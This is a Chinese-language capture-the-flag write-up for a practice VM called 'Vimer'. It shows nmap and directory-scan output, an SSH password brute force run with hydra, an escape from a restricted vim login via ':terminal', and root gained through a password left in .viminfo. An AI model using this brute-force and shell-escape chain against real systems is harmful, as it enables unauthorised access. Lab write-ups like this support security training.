Vimer

难度	非常简单
状态	已完成
操作系统	Linux
user	☑
root	☑
日期	@2025年12月17日
攻击向量	#VIM

信息收集

```
# Nmap 7.95 scan initiated Wed Dec 17 04:46:38 2025 as: /usr/lib/nmap/nmap -sC -sV -O -oN nmap_result.txt 192.168.110.29
Nmap scan report for Vimer.lan (192.168.110.29)
Host is up (0.00055s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
|_auth-owners: vim
80/tcp  open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Vimer
113/tcp open  ident?
|_auth-owners: vim
```

```
MAC Address: 08:00:27:45:50:28 (PCS Systemtechnik/Oracle VirtualBox vi
rtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
# Nmap done at Wed Dec 17 04:48:03 2025 -- 1 IP address (1 host up) scan
ned in 84.97 seconds
```

```
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
──────────────────────────────────────────────────┬──────────────────────
 🎯 Target Url            │ http://192.168.110.29/
 🚩 In-Scope Url          │ 192.168.110.29
 🚀 Threads               │ 50
 📖 Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-med
ium.txt
 👌 Status Codes          │ All Status Codes!
 💥 Timeout (secs)        │ 7
 🦡 User-Agent            │ feroxbuster/2.13.0
 💉 Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎 Extract Links         │ true
 💲 Extensions            │ [php, html, bak, zip, txt]
 🏁 HTTP methods          │ [GET]
 🔃 Recursion Depth       │ 4
──────────────────────────────────────────────────┴──────────────────────
 🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────────────────────────────
200      GET      195l      361w     5367c http://192.168.110.29/index.html
200      GET      195l      361w     5367c http://192.168.110.29/
301      GET        9l       28w      314c http://192.168.110.29/vim ⇒ http://192.16
```

```
8.110.29/vim/
200      GET      131l      317w     2417c http://192.168.110.29/vim/css/main.css
200      GET        4l      117w     7518c http://192.168.110.29/vim/lib/prism.js
200      GET      143l      235w     2350c http://192.168.110.29/vim/lib/prism.cs
s
200      GET        5l       40w     1763c http://192.168.110.29/vim/lib/superplac
eholder.min.js
200      GET      308l      795w     7760c http://192.168.110.29/vim/js/main.js
200      GET       33l      202w     1737c http://192.168.110.29/vim/js/command
s.js
200      GET       61l      222w     3012c http://192.168.110.29/vim/index.html
200      GET     9190l    37989w   247351c http://192.168.110.29/vim/lib/jquer
y-2.1.1.js
301      GET        9l       28w      318c http://192.168.110.29/vim/css ⇒ http://19
2.168.110.29/vim/css/
301      GET        9l       28w      318c http://192.168.110.29/vim/lib ⇒ http://19
2.168.110.29/vim/lib/
301      GET        9l       28w      317c http://192.168.110.29/vim/js ⇒ http://192.
168.110.29/vim/js/
200      GET       23l      189w     1228c http://192.168.110.29/vim/lib/codemirr
or/LICENSE
200      GET      145l      252w     2373c http://192.168.110.29/vim/lib/codemirr
or/mode/css/scss.html
200      GET       45l      152w     1644c http://192.168.110.29/vim/lib/codemirr
or/mode/xml/index.html
301      GET        9l       28w      329c http://192.168.110.29/vim/lib/codemirror
⇒ http://192.168.110.29/vim/lib/codemirror/
301      GET        9l       28w      333c http://192.168.110.29/vim/lib/codemirro
r/lib ⇒ http://192.168.110.29/vim/lib/codemirror/lib/
200      GET       58l      106w     1245c http://192.168.110.29/vim/lib/codemirr
or/mode/css/index.html
200      GET      480l     1664w    24877c http://192.168.110.29/vim/lib/codemi
rror/index.html
301      GET        9l       28w      334c http://192.168.110.29/vim/lib/codemirro
r/mode ⇒ http://192.168.110.29/vim/lib/codemirror/mode/
301      GET        9l       28w      335c http://192.168.110.29/vim/lib/codemirror/
addon ⇒ http://192.168.110.29/vim/lib/codemirror/addon/
```

web是静态网页，查看后没有发现任何泄露

漏洞分析

`hydra -l vim -P /usr/share/wordlists/rockyou.txt 192.168.110.29 ssh` → vim:000001

利用

```
$ ssh vim@192.168.110.29
# 输入密码000001
# 进入了vim
```

:version 查看版本以及可用命令

```
VIM - Vi IMproved 8.2 (2019 Dec 12, compiled Oct 01 2021 01:51:08)
Included patches: 1-2434
Extra patches: 8.2.3402, 8.2.3403, 8.2.3409, 8.2.3428
Modified by team+vim@tracker.debian.org
Compiled by team+vim@tracker.debian.org
Huge version without GUI.  Features included (+) or not (-):
+acl             -dnd             +listcmds        +postscript      +textobjects
+arabic          -ebcdic          +localmap        +printer         +textprop
+autocmd         +emacs_tags      -lua             +profile         +timers
+autochdir       +eval            +menu            -python          +title
-autoservername  +ex_extra        +mksession       -python3         -toolb
ar
-balloon_eval    +extra_search    +modify_fname    +quickfix        +user_
commands
+balloon_eval_term -farsi          +mouse           +reltime         +vartabs
-browse          +file_in_path    -mouseshape      +rightleft       +vertsplit
++builtin_terms  +find_in_path    +mouse_dec       -ruby            +virtual
edit
+byte_offset     +float           +mouse_gpm       +scrollbind      +visual
+channel         +folding         -mouse_jsbterm   +signs           +visualextr
a
+cindent         -footer          +mouse_netterm   +smartindent     +viminfo
-clientserver    +fork()          +mouse_sgr       -sound           +vreplace
```

```
-clipboard         +gettext         -mouse_sysmouse    +spell          +wildigno
re
+cmdline_compl     -hangul_input    +mouse_urxvt       +startuptime    +w
ildmenu
+cmdline_hist      +iconv           +mouse_xterm       +statusline     +windo
ws
+cmdline_info      +insert_expand   +multi_byte        -sun_workshop   +wr
itebackup
+comments          +ipv6            +multi_lang        +syntax         -X11
+conceal           +job             -mzscheme          +tag_binary     -xfontset
+cryptv            +jumplist        +netbeans_intg     -tag_old_static -xim
+cscope            +keymap          +num64             -tag_any_white  -xpm
+cursorbind        +lambda          +packages          -tcl            -xsmp
+cursorshape       +langmap         +path_extra        +termguicolors  -xterm_
clipboard
+dialog_con        +libcall         -perl              +terminal       -xterm_save
+diff              +linebreak       +persistent_undo   +terminfo
+digraphs          +lispindent      +popupwin          +termresponse
```

- 编程语言被禁了
- 发现terminal

输入`:terminal`得到shell

权限提升

打开用户文件夹下的.viminfo即可得到`root:xxxxoooo`